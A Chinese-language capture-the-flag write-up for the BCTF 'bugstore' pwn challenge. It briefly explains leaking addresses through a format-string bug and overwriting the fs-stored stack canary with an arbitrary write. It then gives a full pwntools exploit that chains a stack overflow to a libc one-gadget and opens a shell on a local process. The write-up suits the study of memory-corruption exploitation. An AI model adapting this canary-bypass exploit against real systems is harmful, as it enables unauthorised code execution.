BCTF 里的一个简单Pwn题

bin 下载链接
这个题通过覆写fs,改写canary的值

分析

题目保护全开,有三个功能,但仅能使用一次
(F)ormat String Bug
(A)rbitrary Write
(S)tack Overflow
(E)xit

功能 F

一个格式字符串漏洞,但是用的是printf_chk 所以只能做泄漏

功能 A

一个非可控的任意地址写

功能 S

栈溢出,但是有00截断

过程,

一开始通过 功能F泄漏各种东西,然而到复写canary的时候发现有截断。贼尴尬。后面想起来功能A可以写东西。所以利用功能A去写 fs的canary内容。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh' ,'-c']

context.arch = 'amd64'

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
binsh_offset = libc.search("/bin/sh").next()
system_offset = libc.symbols['system']

# (F)ormat String Bug
# (A)rbitrary Write
# (S)tack Overflow
# (E)xit


def fortmat(payload):
io.readuntil("Your choice:")
io.sendline("F")
io.sendline(payload)

def stack(payload):
io.readuntil("Your choice:")
io.send("S")
io.sendline(payload)

def arbitrary(payload):
io.readuntil("Your choice:")
io.sendline("A")
io.sendline(payload)

def debug():
#break
gdb.attach(io,'''
break *(0x555555554000 + 0xD95)
break *(0x555555554000 + 0xDD3)
break *(0x555555554000 + 0xDBB)
break *(0x555555554000 + 0xDC7)
break *(0x555555554000 + 0xCE1)
break *(0x555555554000 + 0xCE6)
break *(0x555555554000 + 0xC9D)
break *(0x555555554000 + 0xC10)
break *(0x555555554000 + 0xC13)
breka *(0x555555554000 + 0xC31)
break *(0x555555554000 + 0xC55)
''')

io = process("./bugstore")
raw_input('----wait debug ----')
#debug()
fortmat('%p|'*60) #canary 0x7fffffffde68
#leak
leakmsg = str(io.readline()).strip('|').split('|')
r8_addr = int(leakmsg[2],16)+0x28
canary = int(leakmsg[7],16)
code_base = int(leakmsg[4],16)-0xdf0
libc_base = int(leakmsg[9],16)-243-libc.symbols['__libc_start_main']

log.info("r8 addr :{}".format(hex(r8_addr)))
log.info("canary vaule:{}".format(hex(canary)))
log.info("code base:{}".format(hex(code_base)))
log.info("libc base:{}".format(hex(libc_base)))
# some addr
pop_rdi_ret = code_base+0x0000000000000e53
system_addr = libc_base+system_offset
binsh_addr = libc_base+binsh_offset

raw_input('----wait debug ----')
arbitrary(str(r8_addr))
raw_input('----wait debug ----')
canary = 'BUGSTORE'
payload = "A"*40+canary+"B"*8+p64(libc_base+0x45556)
stack(payload)
raw_input("----wait debug -----")



io.interactive()